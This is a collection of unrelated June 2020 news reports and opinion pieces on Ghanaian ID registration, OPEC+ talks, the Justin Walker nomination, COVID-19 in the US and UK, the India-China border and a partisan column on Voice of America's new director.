''When you, yourself, you have bastardized the process. You have told your supporters not to be part of the process; something that is a national exercise. The NIA is established by an Act of Parliament from 2007...It operated under NDC's 8 years of rule. Something established by an Act of Parliament, you have told your people that you're not going to take part...I worship NPP. Ghana first but I serve the NPP. I work for the NPP; so if I tell my youth that do not do this, I'm telling you they're going to comply. So, when a whole General Secretary, a whole party Chairman, you tell your people 'don't take part in the exercise'; then we go and do it and we record a low turnout, then you waste money to organize a press conference to tell Ghanaians that they're going to be disenfranchised because a lot of people did not take part in the NIA registration''.



He exposed the hypocrisy of the NDC saying ''you are the same person who gave a bad order that the people should not take part and today, you turn round to come and blame NIA for low turnout''.



''...how can people rise to that level of hypocrisy and that we descend down?'' he exclaimed.



Watch full submissions below:





Source: Ameyaw Adu Gyamfi/Peacefmonline.com/Ghana









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Nur-sultan, June 5 : The OPEC+ group has postponed its technical and monitoring meetings until the middle of June, but has yet to set a date for a video conference for the Ministers of the organization's member countries and other producers, sources from Kazakhstan's Ministry of Energy said.

The Joint Technical Committee meeting has been postponed from June 5 to June 17 and the Joint Ministerial Monitoring Committee meeting from June 8 to June 18, the sources told Efe news on Thursday.

They said negotiations were ongoing and that further changes were possible.

The date for the main ministerial meetings, which was initially scheduled for June 9 and 10, had not been set, the sources said Russia's TASS News Agency said on Wednesday that a ministerial meeting was not expected until the problem of quota compliance in May was resolved in line with the OPEC+ agreement reached in April to cut oil production.

Moscow and Riyadh have reached a preliminary agreement to extend by a month the historic cut of 9.7 million barrels per day agreed in April for the months of May and June, TASS reported.

The Russian news agency Interfax said that the OPEC countries had only fulfilled 75 per cent of the OPEC+ agreement for May, with Iraq and Nigeria failing to meet their commitments.

Iraq's Oil Ministry spokesman Assem Jihad told the RIA Novosti news agency on Wednesday that the country was ready to abide by the agreement and that, despite financial and technical problems, it had "largely" honoured its commitments.

In addition to cuts of 9.7 million barrels per day in May and June, OPEC+ agreed at their April meeting that the cuts would be softened to 7.7 million bpd between July and December, and to 5.8 million bpd between January 2021 and April 2022.
At left, Tray A of the Nyonya Nasi Ambeng Trays. A Nasi Ambeng dish by a Muslim catering company in Singapore.(PHOTOS: Violet Oon Singapore, Shereens Kitchen/Facebook)

An upscale Peranakan restaurant in Singapore has apologized and renamed a newly launched dish after it was called out for hijacking Indonesian cuisine.

Violet Oon Singapore was accused of appropriating the Nasi Ambeng Indonesian dish by adding a Peranakan twist to its name with the word Nyonya. The restaurant has since apologized and renamed its Nyonya Nasi Ambeng Trays to Family Trays.

We insensitively used the name of a symbolic dish for a Nyonya interpretation that failed to articulate or acknowledge the rich significance and origins of Nasi Ambeng which originated from Java, Indonesia. As a brand dedicated to exploring the rich and diverse food cultures of Southeast Asia, we have fallen short by culturally appropriating this dish, the restaurant wrote today.

We deeply apologise for causing any hurt, anger or offence through this. We will be renaming the dish Family Trays moving forward, the restaurant added.

The popular Indonesian rice platter is comprised of an assortment of vegetable and meat dishes placed around steaming white rice. In Singapore, Nasi Ambeng is usually sold with begedil (fried potato balls), fried cow lung, rendang, and more.

Launched Tuesday, Violet Oons version included customer favorites like Chicken Lemak, Eggplant Sambal, Blue Pea Nasi Lemak and Kentang Sambal Hijau (potatoes fried with a green chilli sambal) with Ikan Bilis. It ranges from S$115 to S$130 per set and serves up to four.

Please do not hijack a Javanese dish and claim it as a Nonya dish, one commenter said today.

Others suggested the dish be renamed as Nyonya Peranakan Food Platter or Nyonya Mixed Vegetables Rice.

Peranakan or Nyonya cuisine comes from descendants of early Chinese migrants who settled in Penang, Malacca, Singapore and Indonesia. Their signature dishes include Asam Laksa, Ayam Buah Keluak (chicken rib stew) and Babi Pongteh (stewed pork).
A divided Senate Judiciary Committee Thursday advanced the nomination of President Donald Trump's choice for the U.S. Court of Appeals for the D.C. Circuit, approving Kentucky Judge Justin Walker to join the prestigious court in Washington.

The committee voted 12-to-10 along party lines to send the nomination to the full Senate, with Democrats opposing the protege of Supreme Court Justice Brett Kavanaugh and Senate Majority Leader Mitch McConnell, R-Ky., who has moved swiftly to push through a record number of appeals court judges.

Walker, 38, faced concerns from Democrats over his past comments about the Affordable Care Act, while Republicans have touted Walker's recent ruling allowing Easter church services during the coronavirus pandemic.

Before voting Thursday, Democrats criticized Walker's nomination as part of a pattern in the Senate of fast-tracking young, inexperienced attorneys who lawmakers characterized as "hostile" to the 2010 Obama-era health care law and civil rights.

Sen. Richard Durbin, D-Ill., called Walker's nomination a "personal favor" to McConnell, who is a family friend, and a "direct attack on the Affordable Care Act in the midst of a public health crisis."

Despite resistance from Democrats, Walker is on track to win confirmation by the full Senate with Republicans holding a 53-to-47 edge.

Walker, who joined the District Court bench in Kentucky just six months ago, would take a seat on the appeals court with powerful backers as he served as a law clerk for Kavanaugh and retired Justice Anthony M. Kennedy. The high-profile appeals court has been a pipeline for nominees to the Supreme Court and handles major clashes between Congress and the White House, and challenges to administration policies.

During Kavanaugh's bitter confirmation battle, Walker was out front in a series of media interviews defending the judge who faced allegations of sexual assault when Kavanaugh was a high school student, an accusation he denied.

Republicans highlighted Walker's recent District Court ruling in which he blocked Louisville Mayor Greg Fischer from forbidding drive-in church services to slow the spread of the coronavirus. In that opinion, Walker wrote that Fischer had "criminalized the communal celebration of Easter," adding that Fischer's decision was "beyond all reason."

At a Senate committee hearing on his nomination last month, Walker defended comments he made at his formal swearing-in ceremony to the District Court in March. The ceremony was attended by McConnell, Kavanaugh and Kennedy, for whom Walker served as a law clerk in 2011 and 2012.

Walker referred then to his time as a law clerk to Kennedy and the "worst words" he ever had to deliver to the justice about Chief Justice John Roberts's decision to side with the liberal justices to uphold the law.

Walker told senators last month that the remarks were meant as a lighthearted joke.

"It was not meant as anything more than a reference to the dissent that he wrote, and again, a bit of a tongue-in-cheek allusion to the reality that no Supreme Court justice likes being in the dissent," he said.

Walker's nomination got a boost last month when the American Bar Association reversed its initial "not qualified" rating during his 2019 confirmation process for the District Court, and instead announced Walker "well qualified" for the more prestigious position.

Although the ABA typically says a nominee should have 12 years of experience in the practice of law, the organization said its change in position came from the differences between the courts, with the appellate court post placing less emphasis on trial experience and instead a "high degree of legal scholarship, academic talent, analytical and writing abilities, and overall excellence."

If confirmed, Walker would replace retiring judge Thomas Griffith, who was nominated by President George W. Bush. Walker would not change the ideological make up of the court, which now includes two Trump nominees, Gregory Katsas and Neomi Rao. Cases pending before the court include House lawsuits over a subpoena for testimony from former White House counsel Donald McGahn and another to halt the Trump administration's spending on the president's signature southern border wall.

- - -

The Washington Post's Paul Kane contributed to this report.
Editors note: This story has been updated to include a previous comment from the governor about protesters in Lansing.

No cases of coronavirus have been traced back to protests in Michigan, state officials said Friday, one day after Gov. Gretchen Whitmer and Lt. Governor Garlin Gilchrist II took part in a peaceful unity march" through Highland Park and Detroit.

Some Michiganders who observed photos and video from the event have noted that the governor, who has consistently called for residents to wear masks and keep 6 feet apart to reduce the spread of COVID-19, did not observe that during the march.

On Friday, June 5, Whitmer was asked about the march and if health officials have concerns that the recent protests will lead to an increase in the states cases of coronavirus.

She noted that participants couldnt always observe 6 feet of separation given the spacing of the march. But she said "we wore masks the whole time, we had ample use of hand sanitizer, we never shook hands, we didnt high-five or hug the way that we usually would greet one another.

I felt it was an important moment to show my support and show a unified leadership out of the executive office of the governor and so the lieutenant governor and I joined," Whitmer said.

Less than two months earlier, Whitmer said she was really disappointed see people congregating and not wearing masks following a Lansing protest of her stay-home order.

We know that this rally endangered people," Whitmer said. "This kind of activity will put more people at risk and sadly, it could prolong the amount of time that we have to be in this posture.

Thursdays march was the latest in a series of anti-police brutality protests that have been held in Michigan and across the country in response to the May 25 death of George Floyd, a 46-year-old black man who died after a white Minneapolis police officer knelt on his neck for more than eight minutes.

Thursdays march in Southeast Michigan was scheduled to move from Highland Park to Mack and Woodward near Wayne State University in Detroits Midtown.

Related: Whitmer says national leadership has bunker mentality at Detroit march against police brutality

Dr. Joneigh Khaldun, Department of Health and Human Services chief medical executive and chief deputy, said its still early to see a trend but she hasnt heard of any cases of COVID-19 associated with the recent protests.

The states contact tracing effort is asking individuals who test positive for the virus if they have been in any group settings and if they have participated in any protests, according to Khaldun.

Right now we are certainly asking the question when we get new cases, she said.

The states chief medical executive added that she does absolutely stand in solidarity with those who are marching for racial justice and against police brutality.

Gov. Whitmer has also called on Michigan law enforcement agencies to enhance their training and policies to help create a police culture where all Michiganders are treated with dignity and respect under the law.

Related: Gov. Whitmer announces plans for police reform as protests continue

As of Thursday, Michigan has reported 58,241 confirmed cases of COVID-19 and 5,595 deaths linked to the respiratory virus.

PREVENTION TIPS

In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus.

Health officials say you should be staying at least 6 feet away from others and working from home, if possible.

Use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, countertops) and carry hand sanitizer with you when you go into places like stores.

Michigan Gov. Gretchen Whitmer has also issued an executive order requiring people to wear face coverings over their mouth and nose while inside enclosed, public spaces.

Additional information is available at Michigan.gov/Coronavirus and CDC.gov/Coronavirus.

Read more on MLive:

Michigan salons, barbershops can reopen June 15

Northern Michigan will soon reopen further, allow bigger gatherings

Friday, June 5: Latest developments on coronavirus in Michigan
EDWARDSVILLE  Property tax bills have been printed and will start being sent out Friday, according to the Madison County Treasurers Office.

Those who signed up for electronic delivery received their bills on Wednesday, June 3, while the remainder of bills will begin the mailing process on Friday, June 5, Madison County Treasurer Chris Slusser said. The first installment is due July 9. However, for those who cannot make the first payment on time there will be a grace period of two months with no penalties.

The grace period was approved at a special Madison County Board meeting on May 22.

We understand there are people struggling, Slusser said. He added there are people who are temporarily unemployed and local businesses that are losing revenue, so the county looked for ways to give taxpayers a break.

We cant discount or abate real estate taxes, he said But we can give people a little more time to pay if theyre facing a hardship.

The grace period applies to individual property tax payments, but not escrow account payments. Payments made after Sept. 9 will include the full interest and penalties.

Madison County is one of the few counties in Illinois that collects property taxes in four installments. In addition to July 9, due dates are Sept. 9, Oct. 9 and Dec. 9.

Slusser encouraged property owners to make payments on time. He previously said he expects about half will.

The county has already received its first property tax payment. Madison County Board Chairman Kurt Prenzler was the first property owner to pay taxes on Wednesday. He said when he was treasurer from 2010 to 2016 he learned the importance of the first tax payment, especially for school districts.

School districts depend on that first installment to help with the cash flow at the start of the school year, Prenzler said. Anyone who isnt facing a hardship should make their first installment payment on time. I feel like Im doing my part.

Slusser said before the county boards grace period approval he had informed school superintendents about the plan so they could prepare for the delay in receiving tax payments. Schools are the largest recipients of property tax revenue.

Our school superintendents were understanding and supportive of the measure, he said. They understand were in unprecedented times, and they have time to prepare for the delay.

Regional Superintendent Rob Werden agreed the first payment helps with a school districts cash flow, especially during the summer, as they are waiting for grants and other funding to come through.

I want to thank Treasurer Slusser and the good communication between his office and the school districts, Werden said. We understand the seriousness of this issue and all the superintendents are appreciative that he reached out.

Slusser said that, although the treasurers office serves as the countys tax collector, the office doesnt determine the amount that is billed.

Property tax bills are determined by four factors: the assessment, the equalization factor or multiplier, the tax rate and any exemptions, he said.

Slusser said his office mailed tax bills on the more than 135,000 parcels with 600 sent electronically.

His office is encouraging taxpayers to avoid paying in person because of the pandemic. Although the public can pay in person, longer wait times should be expected and social distancing guidelines will remain in place. Other ways to pay include by mail, at local banks, or online at www.madcotreasurer.org.

For questions or more information visit the treasurers website or call 618-692-6260.
By ANI

NEW DELHI: Military commanders of India and China will hold talks in Moldo on Saturday morning to address the ongoing tussle in Eastern Ladakh between the two countries over the heavy military build-up by the People's Liberation Army along the Line of Actual Control (LAC) there.

"During the talks to be held at Moldo in Chinese territory opposite Chushul in Ladakh, 14 Corps Commander Lieutenant General Harinder Singh will hold discussions with MajGen Liu Lin, who is the commander of the South Xinjiang Military Region of the Chinese People's Liberation Army," said the Indian Army sources.



ALSO READ | Sino-India border standoff: China says situation with India 'stable and controllable'

The two sides have held close to a dozen rounds of talks since the first week of May when the Chinese sent over 5,000 troops to the LAC.

In the last few days, there has not been any major movement of the People's Liberation Army troops at the multiple sites where it has stationed itself along the LAC opposite Indian forces.

India and China have been locked in a dispute over the heavy military build-up by the People's Liberation Army (PLA) where they have brought in more than 5,000 troops along with the Eastern Ladakh sector.

The Chinese Army's intent to carry out deeper incursions was checked by the Indian security forces by quick deployment. The Chinese have also brought in heavy vehicles with artillery guns and infantry combat vehicles in their rear positions close to the Indian territory.
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Facebook`s transfer tool now allows transfer pictures to Google Photos globally



Facebook launched a new tool to help users transfer their photos and videos from the platform over to Google Photos in December last year. The photo transfer tool, which was launched as part of Facebooks Data Transfer Project, was initially rolled out in Ireland and later made available in countries in Latin America, the Asia Pacific, the EU, UK, South East Asia, and Africa. Then, earlier this year in April, Facebook rolled out the tool in the US and Canada. And now, according to a recent blog post from the company, the tool has finally been made available worldwide.



The tool is quite easy to use and it seamlessly transfers all of your photos and videos on Facebook to Google Photos. To use the tool, open up Facebooks desktop or mobile site and head to the main settings. On the desktop site, click the Your Facebook Information tab and then select Transfer a Copy of Your Photos or Videos. Enter your password in the next step, the choose Google Photos from the dropdown menu. Enter your Google password, grant permission, and youre done. On the mobile site, youll have to scroll down on the main settings to access the Your Facebook Information section. The rest of the steps remain the same.



Read More...


Bald men could be at a higher risk of dying from coronavirus because male hormones help the virus attack cells, scientists have revealed.

The hormone Androgen, which causes hair loss in men, has been linked to some of the worst cases of Covid-19 in Spanish hospitals.

The discovery could be named the Gabrin Sign, after the first US physician to die of the illness in the US, Dr Frank Gabrin - a bald man.

Professor Carlos Wambier, the lead author of the key study behind the discovery from Brown University, told The Telegraph: 'We really think that baldness is a perfect predictor of severity.'

It has previously been reported that data heavily suggested men who fell ill with coronavirus were more likely to die from it that women.

The hormone Androgen, which causes hair loss in men, has been linked to some of the worst cases of Covid-19 in Spanish hospitals. Pictured, staff from La Paz hospital in Madrid held a two-minute silence on May 14 for health workers who have died from coronavirus

In the UK a report this week from Public Health England suggested working age men were twice as likely as women to die of the virus.

'We think Androgens or male hormones are definitely the gateway for the virus to enter our cells,' Prof Wambier added.

The professor has led two studies in Spain, with both finding a disproportionate number of men with male-patterned baldness being admitted to hospital with the deadly disease.

In one study of 122 patients, 79 per cent of men who tested positive in three Madrid hospitals were bald. It was published in the Journal of the American Academy of Dermatology.

An earlier study of 41 patients in Spain found 71 per cent were bald. It should be noted these were relatively small-scale studies and scientists have said more work needs to be done.

The background rate of baldness in white men of a similar age to those studied is between 31 and 53 per cent - a significant drop.

The discovery could be named the Gabrin Sign, after the first US physician to die of the illness in the US, Dr Frank Gabrin - a bald man. Pictured, a man and a medical worker at the Russian Defence Ministry's field hospital for Covid-19 patients in Musa Salgereyev

Hospital patient Isidre Correa talks with doctors inside his ICU box before he is taken to the seaside by intensive heath care staff outside the Hospital del Mar on June 3 in Barcelona, Spain

Medical specialists draw blood to test for COVID-19 coronavirus antibodies at the 191 hospital in Moscow, Russia, on June 3

Meanwhile a separate trial has been launched by Matthew Rettig, oncologist at US Los Angeles, to test the effect of prostate drugs - reducing levels of androgens - on coronavirus in LA, Seattle and New York.

Another study in Veneto, Italy, of 9,280 patients found men with prostate cancer who were on androgen deprivation therapy were only a quarter more likely to become ill with Covid-19 than those on other treatments.

It comes as Britain yesterday announced 176 more coronavirus deaths, taking the total number of victims to 39,904 - as separate shock data suggests the UK's outbreak is still killing more people each day than the rest of the EU countries combined.

The UK's death toll is now on the brink of passing the 40,000 mark, but the epidemic has slowed dramatically in the past few weeks. For comparison, last Thursday there were 377 Covid deaths, and 338 the week before that.

Britain's outbreak has slowed dramatically in the past few weeks. On Wednesday health bosses announced 359 more victims - down almost 13 per cent on the 412 deaths recorded last Wednesday. But analysis of data shows only 345 deaths were recorded in the 27 EU countries yesterday, including 81 in France, 74 in Sweden and 71 in Italy

However, Britain is not out of the woods yet as analysis of figures suggest it is still being hit harder than the rest of the 27 countries in the bloc put together.

UK health bosses announced 359 more coronavirus victims on Wednesday, compared to just 345 deaths recorded in the EU, including 81 in France, 74 in Sweden and 71 in Italy. It's unclear how many Covid victims there were yesterday in the EU.

Separate backdated data has also suggested the real number of deaths in Britain has already tipped 50,000, which would cement the UK's status as being Europe's worst-hit nation.

Yesterday's fatalities were revealed by Transport Secretary Grant Shapps, who also announced that face coverings would be compulsory on public transport in England. Mr Shapps encouraged the public to make their own face covering or use a scarf, but said surgical masks should be reserved for healthcare workers.

Of the new deaths recorded in Britain, NHS England saw 115 in hospital patients who tested positive - the youngest a 26-year-old.

Scotland posted nine Covid-19 deaths in all settings, followed by eight in Wales and one in Northern Ireland.

The remaining deaths occurred in care homes in England in the wider community.

It comes as it was revealed police have launched a probe into a care home which was ordered to close after 15 residents died following a major outbreak of coronavirus.

Temple Court in Kettering, Northamptonshire, was forced to shut its doors following the Covid-19-related deaths of patients who were sent there after being discharged from hospital.

In extraordinary scenes in the chamber last night, Business Secretary Alok Sharma ignored the government's own guidance as he struggled on despite repeatedly wiping his brow and blowing his nose

The home is now being investigated by Northamptonshire Police and council bosses amid allegations of abuse and neglect.

Officers are speaking to relatives of the 15 residents following claims they were sent there without being tested after being released from two separate hospitals.

In other developments, furious MPs demanded the Commons sits 'virtually' again after a senior minister 'sniffled, sweated and snorted' through a statement - before self-isolating for coronavirus.

In extraordinary scenes in the chamber last night, Business Secretary Alok Sharma ignored the government's own guidance as he struggled on despite repeatedly wiping his brow and blowing his nose.

The episode sparked concerns that dozens of politicians have been at risk of infection and will now have to go into quarantine - potentially including Cabinet ministers and top officials.

It also heaped pressure on Boris Johnson to reverse the controversial decision to scrap electronic voting and Zoom debates, after 'farcical' scenes this week that saw hundreds of MPs 'conga' through Westminster in a mile-long socially distanced queue to take part in divisions.

UK RECORDED MORE COVID-19 DEATHS YESTERDAY THAN THE REST OF THE EU COMBINED Britain yesterday recorded more Covid-19 deaths than the rest of the EU combined, according to an analysis of official figures. Department of Health chiefs announced 359 fatalities on Wednesday, slightly higher than the 345 recorded in the 27 members of the bloc, according to data collected by Johns Hopkins University. Separate figures suggest the true death toll among the 27 nations was even lower - coming in at 331. Austria Belgium Bulgaria Croatia Cyprus Czechia Denmark Estonia Finland France Germany Greece Hungary Ireland 1 17 2 0 0 2 0 1 1 81 25 0 2 1 Italy Latvia Lithuania Luxembourg Malta Netherlands Poland Portugal Romania Slovakia Slovenia Spain Sweden 71 0 0 0 0 10 23 11 8 0 0 1 74 Advertisement

Figures also revealed only a quarter of business that have temporarily closed during the coronavirus crisis plan to reopen their doors within the next month, dampening efforts to kickstart the economy.

Just nine per cent of businesses told the Office for National Statistics (ONS) they would be ready to open within a fortnight, with a further 16 per cent saying they could be ready within four weeks.

Almost half of those polled in May - before the announcement to reopen British businesses - said they did not know when they might open, piling pressure on the Government's economic plans.

Boris Johnson last month gave the go-ahead for non-essential retail to restart on June 15, as he attempted to bring the coronavirus-battered UK High Street back to life.

A poll also revealed children in the north are missing out on an education as Labour-run councils refuse to allow schools to reopen.

A survey of primary headteachers has found just a third of them followed the Prime Minister's plan and managed to bring back Reception, Year 1 and Year 6 students back to class on Monday.

This dropped to as low as 12 per cent in the north-east of England and eight per cent in the north-west, where a large number of Labour-run councils refused to let their schools open.

The survey of 10,000-plus schools was carried out by the National Education Union, which found 44 per cent of schools did not open more widely on June 1.

Bill Gates warned anti-vaxxers could wreck attempts to develop a Covid-19 vaccine if they refuse to take it and reduce the level of herd immunity.

Over 80 per cent of people may need to have the jab for it to work properly - but the philanthropist said he feared anti-vaccine 'craziness' might put people off getting it.

The billionaire founder of Microsoft, who now donates hundreds of millions of dollars to global health causes, said the prospect was 'worrying'.

Vaccines can only be successful at stamping out a virus if so many people get them that a vast majority of the population is immune and the disease can no longer spread.

Mr Gates's comments come as vaccine trials on humans are in full swing in the UK and the University of Oxford has announced it will test its candidate in Brazil now.
President Trump was happy as heck at the news that Michael Pack, his choice for new director at the Voice of America, finally got confirmed by the Senate. It came as a sort of miracle, given the dirty, protracted battle from the Deep State's Obama holdovers to keep him out. It was so underhanded that it involved a last-ditch Kavanaugh-style bid to smear Pack as corrupt if for nothing else than to delay his Senate confirmation to eternity. It was the Deep State at its worst, and it failed. Now, what's probably the last solid Obama bastion of Deep State government has toppled.

Congratulations to Michael Pack! Nobody has any idea what a big victory this is for America. Why? Because he is going to be running the VOICE OF AMERICA (@VOANews), and everything associated with it...  Donald J. Trump (@realDonaldTrump) June 4, 2020

...Michael is Tough, Smart, and Loves our Country. This has been a big battle in Congress for 25 years. Thank you to our Great Republican Senate! @SenateCloakroom  Donald J. Trump (@realDonaldTrump) June 4, 2020

Here's how the left is taking it in case you need to know:

This is BAD NEWS. Pack is a Bannon right-winger, & may try to turn VOA into a MAGA-propaganda outlet, broadcasting around the world.  Serenity Now! (@Cpo10za) June 5, 2020

But if you want to know who's howlingly happy about this, maybe even happier than Trump, take a look at what the battered democratic freedom fighters in hellholes like China and Iran are saying about news of this U.S. government agency's change of leadership.

Thank You Mr President!



Voice of America [Farsi] has been the roaming field for Mullahs exported journalists for years. Many call it Voice of Mullahs!



VOA needs to represent America & POTUS policy of max pressure toward #1 sponsor of terrorism, paving the way for Free Iran. pic.twitter.com/NUm7MLv0uA  Saeid Sajadi (@Saeid_Emdi) June 4, 2020

Congratulations to you President Trump

Now the traitors in #VOA must be fired.They not only betrayed to Americans but they betrayed to #Restart_opposition the really opposition against the terrorist IRI ,the regime which is behind the #AntifaTerroristshttps://t.co/NIrwNzWk4d    (@yase_parpar1) June 5, 2020

Dear president,@VOAIran needs an absolute clean up. It is currently the VOICE OF MULLAHS#iraniansStandWithMAGA  Kay-Khosro (@kay_khosro) June 4, 2020

VOA Persian is one of the corrupted ones. It is the voice of Mullahs. pic.twitter.com/tnyFr8G4p0     (@roshangarnasl) June 5, 2020

As a Chinese immigrant, I hope @VOANews @VOAChinese not to continue to be pro-Beijing, the CCP dictatorship is the biggest threat and enemy for any free nation. I see most many medias and social platforms are penetrated in deeply and distributing the CCP propagandas. That's bad. pic.twitter.com/6fwGfoYB9Z   (@hvLiao) June 5, 2020

Thank you, Mr. President

Hope to see fundamental changes in VOA Farsi or currently the voice of the Islamic Republic of Iran in America  khabarbin (@khabarbin) June 5, 2020

We too

We have waited a very long time for this happen

They did the biggest treason to Iranians too .

They censored the largest populist movement of Iran against the brutal and terrorist regime of Iran.

They've always helped to IRI . https://t.co/4hNziByjJ9    (@yase_parpar1) June 5, 2020

This is great news.

All of #Iran's apologists/lobbyists should be shunned from pushing the mullahs' talking points in America. pic.twitter.com/c1DgEzrp36  Heshmat Alavi (@HeshmatAlavi) June 5, 2020

VOA has been a propaganda tool of CCP, now VOA is the time to come back to Americans' hand to serve USA!  Jane (@LingJia_USA) June 5, 2020

Fantastic! Start by firing Setareh Derakhshesh and everyone else out of VOA persian and hire people NOT working for the islamic republic!  Kourosh (@KouroshPahlavi2) June 5, 2020

Thank GOD!

VOA has been trash for the last 3 years.  REPEAL*EPA*CO2*Endangerment*Finding (@patmcljr) June 5, 2020

Thank you, Mr President! We will win the heart and soul of the peoples around the world! I began to listen to VOA at 15, and went to prison in communist China for spreading the words of freedom - VOA former China Branch director https://t.co/091nExFy24   Sasha Gong (@Sasha_Gong) June 4, 2020

Who knew that was going on? Who knew that the reaction would be this intense? I barely scratched the surface in these tweets compared to all that is out there. It's an absolute fire hose of cheer from the people who have to listen to Voice of America's output and conveyed just how bad the whole thing has been up 'til now. It's likely the sentiment on the ground. Dissidents, after all, need radio stations and look up to America. Imagine doing that and all you get is mullah propaganda. The bottom line, based on these tweets, is that something went very wrong at VOA. To have this many dissidents tweet this way is a huge unreported story.

That's a bad look for the U.S., whose state news agency is supposed to be a valuable policy tool for the administration, driving home what U.S. officials are trying to enact. Instead of mullah propaganda or Chicom spin, the VOA needs to be broadcasting news of sanctions on kleptocratic dictators, U.S military maneuvers, American triumphs of science, exposes of Swiss bank accounts of dictators, and indicators of dictator weakness, such as anti-mullah bread strikes in Iran. Instead of encouraging the world's dissidents, the VOA is broadcasting dictator propaganda like a demon-possessed rag doll, succoring the tyrants, making them rub their hands together with glee at Big Gringo's stupidity.

That might be because most leftist VOA minions hate Trump and wish to undermine him abroad. It also might be, as the dissidents charge, because the agency is infiltrated by spies. We all know how well the Obama administration vetted its hires. It wouldn't be surprising if it were both. It's very likely that this problem extends well beyond China and Iran. At a minimum, it's reason to look closely and clean house.

Here's an arguably even bigger problem: look at the crap they're broadcasting about America itself to these hellholes. This is the news the mullahs and Chicoms are smiling to read:

 Lt. Col. Sam Andrews, a Minnesota National Guard soldier, took a knee to address protesters outside the Capitol in St. Paul Monday.



He told protesters he was sorry for the loss of George Floyd. (AP)



 Nation in Turmoil: The George Floyd Protestshttps://t.co/6m9HfZwur2 pic.twitter.com/exUG5igXEj  The Voice of America (@VOANews) June 3, 2020

That's a disturbing story about the breakdown of U.S. military discipline  from a mid-level officer, no less  that implicitly sends aN encouraging message to America's enemies.

Of all the protest stories out there, this is the one they choose to publish? This is the kind of stuff R.T. should be expected to broadcast, creating as it does uncertainty about American military loyalty and prowess.

What does this entire picture say about the decision-making at that particular agency? It's as if President Obama never left. And sure enough, his minions hadn't, at least until this news, which should force a lot of bootings of Obama holdovers. They were supposed to go, and they refused to go, and up until now, they got away with it. They spiked stories exonerating President Trump on Ukraine; they broadcast mullah propaganda; and they published the party line from China on the coronavirus crisis, right there repeating the Chicom lies.

One can only hope that Pack will clean this Augean stable of leftism, brought on by hiring backwash from news agency layoffs, and this kind of anti-American propaganda will finally stop. The Voice of America is not an ordinary anti-American news outlet, same as the others, but a policy tool for America's leadership to get America's message across. News of sanctions, warnings to dictators, projections of military strength, and anything that makes a dictator hellhole look weak or venal or thieving  anything that will undercut a dictator so that military force doesn't have to be used, has got to be on the agenda. It's not. The VOA as it is is like the United Nations, a landing pad for losers based on its high salaries, a seemingly useless vehicle that draws anti-Americans into its interior to exert leftist soft power to undercut America.

It's got to stop, and now there's a chance it will, with the welcome news of the arrival of Pack, who's got a heckuva cleanup job. One can only wish the agency well now that some serious leadership has been placed at that out-of-control agency. America's taxpayers can now finally get the agency they paid for.
By PTI

NEW DELHI: Union Home Minister Amit Shah on Friday appealed to everyone to take a resolution to preserve the environment for a better future.

Shah also said from time immemorial, India has a rich tradition and deep knowledge about nature conservation.

"Different ways of worshipping and preserving the environment are intrinsic to our culture.

On this #WorldEnvironmentDay, let us resolve to preserve our environment for a better tomorrow," he tweeted.

World Environment Day is celebrated on June 5 every year.
BALTIMORE - Dar'Yana Dyson's memorial service was set up as a block party.

It stretched from the dilapidated yellow monkey bars where the 15-year-old high school sophomore played not too long ago, through the parking lot, all the way to the other end of the O'Donnell Heights public housing complex. Rap music played as relatives in face masks fired up barbecue grills for the crowd.

The gathering for the youngest victim of the coronavirus so far in Maryland, Virginia or D.C. took place this week just a few miles from where thousands were marching at that very moment to protest the killing of George Floyd - and where five years ago another black man, 25-year-old Freddie Gray, died while in police custody.

Floyd and Gray's deaths were police-related. Dyson was killed by a mysterious pediatric complication associated with covid-19.

But to the three generations of family members, friends and supporters who came together on this afternoon to grieve, the depredations of the novel coronavirus, police brutality, economic inequality and institutional racism all blur together.

Dyson was a healthy teenager, which should have made her among the least vulnerable. But she had two things working against her that were out of her control. She was black, and she was poor, living in a community full of people considered essential workers who came and went to their jobs every day.

"We don't get justice," said Lebra Foster, a 64-year-old Postal Service worker and Dyson's great aunt. "They treat us like we are not worth anything. I work hard every day, and it's not fair."

John Comer, a 38-year-old community activist who has been involved in demonstrations against police violence in Ferguson, Missouri; Baltimore and other cities said he chose to attend Dyson's service instead of the protests down the street because he sees the virus's impact as an urgent new front in the battle against racism. He said he has been surprised that so many people he has met could not afford masks or did not know where to get them.

For the time being, he said, he has put down his protest signs to hand out free masks. As a moment, he said, "this feels different."

"I know people that died," Comer said. "To me, the virus has joined forces with racism. It feels like another trap in a long list of issues we are fighting every day."

The Trump administration, which has been accused of failing to recognize the disproportionate effect of the virus on communities of color, on Thursday moved to address the growing anger. Robert Redfield, director of the Centers for Disease Control and Prevention, apologized "for the inadequacy of our response" and said new requirements for reporting coronavirus data based on race, ethnicity and other demographic factors would take effect Aug. 1.

The public health agency reported preliminary data in April that showed the coronavirus was not the great equalizer some had anticipated. Instead, it was laying bare long-standing health disparities that have traditionally resulted in higher death rates for African Americans from a range of causes. With the coronavirus, 23% of deaths have been among black Americans, although they make up about 13% of the U.S. population.

The unequal burden of the disease is most acute in Washington, where nearly 76% of deaths have been among black Americans even though they make up only about 47% of the population.

The National Medical Association (NMA), which represents 50,000 African American physicians, has blamed the high death rate on an amplification of "years of discrimination, unequal treatment and injustices in health care, criminal justice and employment."

Four out of five black Americans' jobs require them to be outside of the home. They are more likely to live in multigenerational households, which increases the virus risk. And a disproportionate number have been furloughed or laid off during the pandemic, putting pressure on their ability to pay for housing and food. A large number also have health conditions such as diabetes, hypertension and obesity that make them more vulnerable to the disease.

Add to that the impact of pollution and other environmental factors that are more acute in poorer communities, and the chances of a bad outcome due to the virus increase.

Oliver Brooks, a physician and president of the NMA, said in an interview that the deaths of Floyd, Gray and Dyson are part of the same problem: People with the least power and least access to resources being left unprotected.

"They are all linked," he said. "African Americans are 2.5 times more likely to die of covid-19 and three times more likely to die from police violence. The clear underlying cause is racism."

Brooks, who was part of a group of doctors who were consulted about the crisis early on by the White House, said officials have not done enough to address racial disparities. "I feel we have not yet seen true action from the federal government," he said.

Leana Wen, Baltimore's public health commissioner during the Gray protests and a former president of Planned Parenthood, ascribed the recent protests to "underlying, longtime systemic injustices that are boiling over in anger and frustration."

"All these issues are interrelated," Wen said. "And ultimately, we have to be honest that police brutality is a public health issue and racism is a public health issue, too."

